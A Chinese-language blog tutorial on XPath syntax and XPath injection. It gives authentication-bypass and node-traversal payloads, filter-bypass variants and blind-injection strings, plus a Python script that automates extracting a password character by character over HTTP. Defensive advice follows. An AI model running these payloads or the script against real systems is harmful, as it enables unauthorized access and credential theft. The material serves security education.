Xpath注入学习和分析

July 23, 2025
4 min read
By bx

Table of Contents

This is a list of all the sections in this post. Click on any of them to jump to that section.

Xpath注入

Xpath注入学习和分析

XPath 是一种可以访问 XML 文件中的节和内容的查询语言。

快速获取 Xpath

  • 就是手动获取

现代浏览器都支持这个 Xpath 路径复制

有这个完整和相对的这个区别

  • 利用工具

一些浏览器插件之类工具调用获取

效果如上

验证

$x 函数

$x(xpathExpression, [contextNode])

比如我们获取到一段 Xpath 表达式

//*[@id='16858669']/div/h2/a

在控制台可以利用<font style="color:rgb(27, 27, 27);">$x</font>函数

// 验证XPath是否能找到元素
$x("//*[@id='16858669']/div/h2/a")
 
// 查看找到多少个元素
$x("//*[@id='16858669']/div/h2/a").length
 
// 获取元素的文本内容
$x("//*[@id='16858669']/div/h2/a")[0]?.textContent
 
// 获取元素的链接地址
$x("//*[@id='16858669']/div/h2/a")[0]?.href
 
// 高亮显示找到的元素
$x("//*[@id='16858669']/div/h2/a")[0]?.scrollIntoView()
$x("//*[@id='16858669']/div/h2/a")[0]?.style.border = "3px solid red"

效果如下

直接返回这个元素的所有信息

Xpath 语法

常用的语法

  • 选择直接子节点
  • // 选择任意位置的后代节点
  • @ 选择属性
  • [] - 谓语,用于筛选条件

常用函数

# 字符串函数
string-length(), substring(), starts-with(), contains()
normalize-space(), translate(), concat()
 
# 数学函数
count(), sum(), number(), round(), floor(), ceiling()
 
# 节点函数
name(), local-name(), namespace-uri()
position(), last()

一个 xml 文件如下

<bookstore>
  <book id="1" category="fiction">
    <title>Harry Potter</title>
    <author>J.K. Rowling</author>
    <price>29.99</price>
  </book>
  <book id="2" category="technical">
    <title>Learning XML</title>
    <author>Erik T. Ray</author>
    <price>39.95</price>
  </book>
</bookstore>
 

查询如下

/bookstore/book                    # 选择所有书籍
//title                           # 选择所有标题
/bookstore/book[1]                # 选择第一本书
//book[@category='fiction']       # 选择类别为fiction的书
//book[price>30]                  # 选择价格大于30的书
//book/title/text()               # 选择所有书籍标题的文本内容
//@category                       # 选择所有category属性

Xpath 注入

原理如下

接受参数usernamepassword

# 用户输入
username = input("username")
password = input("password")
 
# 构造 XPath 查询
query = f"//user[username/text()='{username}' and password/text()='{password}']"
 
# XML 示例数据
<users>
    <user>
        <username>admin</username>
        <password>admin123</password>
    </user>
</users>
 

重点在于查询语句

query = f"//user[username/text()='{username}' and password/text()='{password}']"

如果我们巧妙构造

用户名:' or '1'='1
密码:' or '1'='1

然后查询语句就如下

//user[username/text()='' or '1'='1' and password/text()='' or '1'='1']

恒为真,匹配到所有用户,造成 认证绕过! 恒为真,匹配到所有用户,造成 认证绕过

但是 Xpath 的匹配还是比较严格的

还有一些绕过技巧

# 注释绕过
' or '1'='1' (: comment :) and '1'='1
 
# 编码绕过
&#39; or &#39;1&#39;=&#39;1&#39; and &#39;1&#39;=&#39;1
 
# 大小写绕过
' OR '1'='1' AND '1'='1

如图片所示

节点遍历技术

使用特殊的XPath表达式可以遍历整个XML文档:

# 获取所有节点
']|//*|//*['
 
# 获取所有属性
']|//@*|//*['

就是构造

//user[username/text()='']|//*|//*[password/text()='123']

命名空间绕过

什么是空间命名

<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b">
  <a:user>admin</a:user>
  <b:user>guest</b:user>
</root>

分别属于 ab 命名空间

就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素

所以我们手段就如下

有些XML文档使用命名空间,可以通过以下方式绕过:

local-name() 是 XPath 中的函数,返回不含命名空间前缀的标签名。

# 使用local-name()函数绕过命名空间限制
' or local-name()='user' or '1'='1

我们可以尝尝把 Xpath 和 sql 对比起来分析学习

XPath 注入和SQL 注入 相比如下

比较点XPath 注入SQL 注入
目标XML 数据库 / XML 文档关系型数据库(MySQL、PostgreSQL)
语言XPathSQL
特征查询节点路径、属性、文本等查询表、字段、值等
利用方式猜解节点、读取 XML 数据获取数据、执行命令、控制数据库

XPath 盲注技术

盲注原理:

大多数情况下,当服务器返回数据时,会对错误信息进行过滤,不会直接显示在用户页面上。但即使错误信息被过滤,攻击者仍然可以通过服务器的不同响应来判断查询结果。

盲注是一种在服务器不返回详细错误信息的情况下进行的注入技术。XPath盲注主要利用XPath的字符串操作函数和运算符,通过服务器的不同响应来推断信息。

盲注技术示例

假设有一个登录系统,使用以下XPath查询:

query = f"//user[username/text()='{username}' and password/text()='{password}']"

布尔盲注

通过构造返回布尔值的查询语句,逐位猜解数据:

# 判断第一个用户的密码长度是否大于5
' and string-length(//user[1]/password/text()) > 5 and '1'='1
 
# 判断第一个用户的密码第一个字符是否为'a'
' and substring(//user[1]/password/text(),1,1)='a' and '1'='1

时间盲注

某些XPath实现支持延时函数

# 如果条件成立,执行耗时操作
' and (if(substring(//user[1]/password/text(),1,1)='a', sleep(5), false)) and '1'='1

自动化盲注工具

可以编写脚本自动化盲注过程,例如:

import requests
import time
 
def xpath_blind(url, xpath_param):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result = ""
    pos = 1
    
    # 先确定长度
    length = 0
    for i in range(1, 30):
        payload = f"' and string-length(//user[1]/password/text())={i} and '1'='1"
        r = requests.get(url, params={xpath_param: payload})
        if "登录成功" in r.text:
            length = i
            break
    
    print(f"Password length: {length}")
    
    # 逐位猜解
    for i in range(1, length+1):
        for char in charset:
            payload = f"' and substring(//user[1]/password/text(),{i},1)='{char}' and '1'='1"
            r = requests.get(url, params={xpath_param: payload})
            if "登录成功" in r.text:
                result += char
                print(f"Found character at position {i}: {char}")
                break
    
    return result

节点遍历技术

使用特殊的XPath表达式可以遍历整个XML文档:

# 获取所有节点
']|//*|//*['
 
# 获取所有属性
']|//@*|//*['

命名空间绕过

什么是空间命名

<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b">
  <a:user>admin</a:user>
  <b:user>guest</b:user>
</root>

分别属于 ab 命名空间

就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素

所以我们手段就如下

有些XML文档使用命名空间,可以通过以下方式绕过:

local-name() 是 XPath 中的函数,返回不含命名空间前缀的标签名。

# 使用local-name()函数绕过命名空间限制
' or local-name()='user' or '1'='1

防御策略与分析

这里以 Python 代码为例子

Python示例 - 安全的XPath查询

某些XPath库支持参数化查询,类似于SQL的预处理语句:

import xml.etree.ElementTree as ET
import re
 
def safe_xpath_query(username, password):
    # 1. 输入验证与过滤
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        return None
    
    # 2. 参数化查询(如果XPath处理器支持)
    # xpath = f"//user[@username='{username}' and @password='{password}']"
    
    # 或使用XML DOM安全查询
    root = ET.parse('users.xml').getroot()
    for user in root.findall('user'):
        if (user.get('username') == username and 
            user.get('password') == password):
            return user
    return None

最后一种防御就是

XML 当作树 → 直接取属性 → 不走字符串 → 天生安全。

使用ORM框架

对于XML数据,

使用专门的ORM框架可以减少直接编写XPath查询的需要

# 使用XML ORM框架示例
from xmlorm import XMLModel, Field
 
class User(XMLModel):
    username = Field()
    password = Field()
 
# 安全查询
user = User.query.filter(User.username == username, 
                        User.password == password).first()

最小权限原则

确保XML处理代码只有必要的最小权限:

# 限制XPath查询只能访问特定节点
def restricted_xpath_query(query, allowed_paths):
    # 检查查询是否只访问允许的路径
    for path in allowed_paths:
        if not query.startswith(path):
            return None
    # 执行查询...

参考文章

XPath 注入指北

XPath注入:攻击与防御技术-腾讯云开发者社区-腾讯云

xpath注入详解 - 渗透测试中心 - 博客园

Xpath注入攻击及其防御技术研究-阿里云开发者社区